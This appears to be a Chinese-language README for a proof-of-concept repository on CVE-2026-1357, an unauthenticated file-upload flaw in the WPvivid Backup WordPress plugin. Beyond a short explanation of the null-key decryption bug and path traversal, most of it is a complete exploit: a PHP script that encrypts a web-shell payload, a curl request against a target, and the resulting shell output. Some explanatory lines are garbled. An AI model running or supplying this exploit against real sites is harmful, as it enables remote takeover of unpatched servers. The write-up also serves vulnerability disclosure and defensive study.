发现者: Lucas Montes (NiRoX)
漏洞类型: 未认证任意文件上传导致远程代码执行(RCE)
CVE ID: CVE-2026-1357
CVSS 评分: 严重(9.8)
状态: 已在 0.9.124 版本中修复
本仓库包含对 WPvivid Backup & Migration WordPress 插件(版本 <= 0.9.123)中一个严重漏洞的分析和概念验证(PoC)。
该漏洞允许未认证攻击者向服务器上传任意文件(如 PHP 木马),从而立即实现远程代码执行(RCE)。此问题源于加密错误处理中的逻辑缺陷(Fail-Open)与路径遍历漏洞的组合。
该漏洞存在于插件通过 wpvivid_action=send_to_site 钩子处理远程备份传输请求的方式中。利用链由两个相互配合的不同缺陷组成:
当插件收到传输请求时,它会尝试使用 openssl_private_decrypt() 解密提供的会话密钥。
false。插件逻辑未检查此布尔返回值,而是直接将 false 传递给 库以初始化 AES 密码。phpseclibphpseclib 版本中,false 或空密钥会被视为由空字节(\0\0...)组成的字符串。这使得攻击者可以使用128 位空密钥加密恶意负载,从而绕过对真实私钥的需求。一旦负载使用空密钥成功"解密",插件会处理 JSON 内容。
name 参数未经过净化处理。../)逃逸插件受限的备份目录(通常受 .htaccess 保护),并将恶意 PHP 文件写入公开的 wp-content/uploads/ 目录。限制条件:
wpvivid_api_token 过期,存在漏洞的代码路径会使请求静默失败。该漏洞利用依赖于 phpseclib(v1)的行为。要在本地运行生成器,你需要以下库文件:
mkdir -p phpseclib/Crypt
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Rijndael.php -O phpseclib/Crypt/Rijndael.php
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Base.php -O phpseclib/Crypt/Base.php
exploit.php)该脚本创建使用空密钥加密的负载,并包含用于上传木马的路径遍历。
<?php
// exploit.php - 作者:Lucas Montes (NiRoX)
require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');
// 1. 初始化 Rijndael(AES)
$rij = new Crypt_Rijndael();
$rij->setBlockLength(128);
// 2. 漏洞复现
// 当 RSA 解密失败(返回 false)时,服务器默认使用空密钥。
// 我们将本地密钥设置为 16 个空字节,以匹配服务器的漏洞状态。
$rij->setKey(str_repeat("\0", 16));
// 3. 负载
$shell_content = '<?php system($_GET["cmd"]); ?>';
// 4. 包含路径遍历的 JSON 对象
// 我们向上遍历到 /uploads/ 以绕过 .htaccess 限制
$params = [
"backup_id" => "1",
"name" => "../uploads/pwn_remote.php",
"data" => base64_encode($shell_content),
"offset" => 0,
"file_size" => strlen($shell_content),
"total_size" => strlen($shell_content),
"index" => 0,
"md5" => md5($shell_content),
"type" => "backup",
"status" => "running"
];
// 5. 使用空密钥加密
$encrypted = $rij->encrypt(json_encode($params));
// 6. 构造数据包
// "ABC" 是触发服务器返回 'false' 的伪造 RSA 密钥
$fake_key = "ABC";
$payload = str_pad(dechex(strlen($fake_key)), 3, "0", STR_PAD_LEFT)
. $fake_key
. str_pad(dechex(strlen($encrypted)), 16, "0", STR_PAD_LEFT)
. $encrypted;
echo base64_encode($payload);
?>
PAYLOAD=$(php exploit.php)
curl -i -s -X POST 'http://TARGET-URL/' \
-d 'wpvivid_action=send_to_site' \
--data-urlencode "wpvivid_content=$PAYLOAD"
http://TARGET-URL/wp-content/uploads/pwn_remote.php?cmd=id
结果:
uid=33(www-data) gid=33(www-data) groups=33(www-data)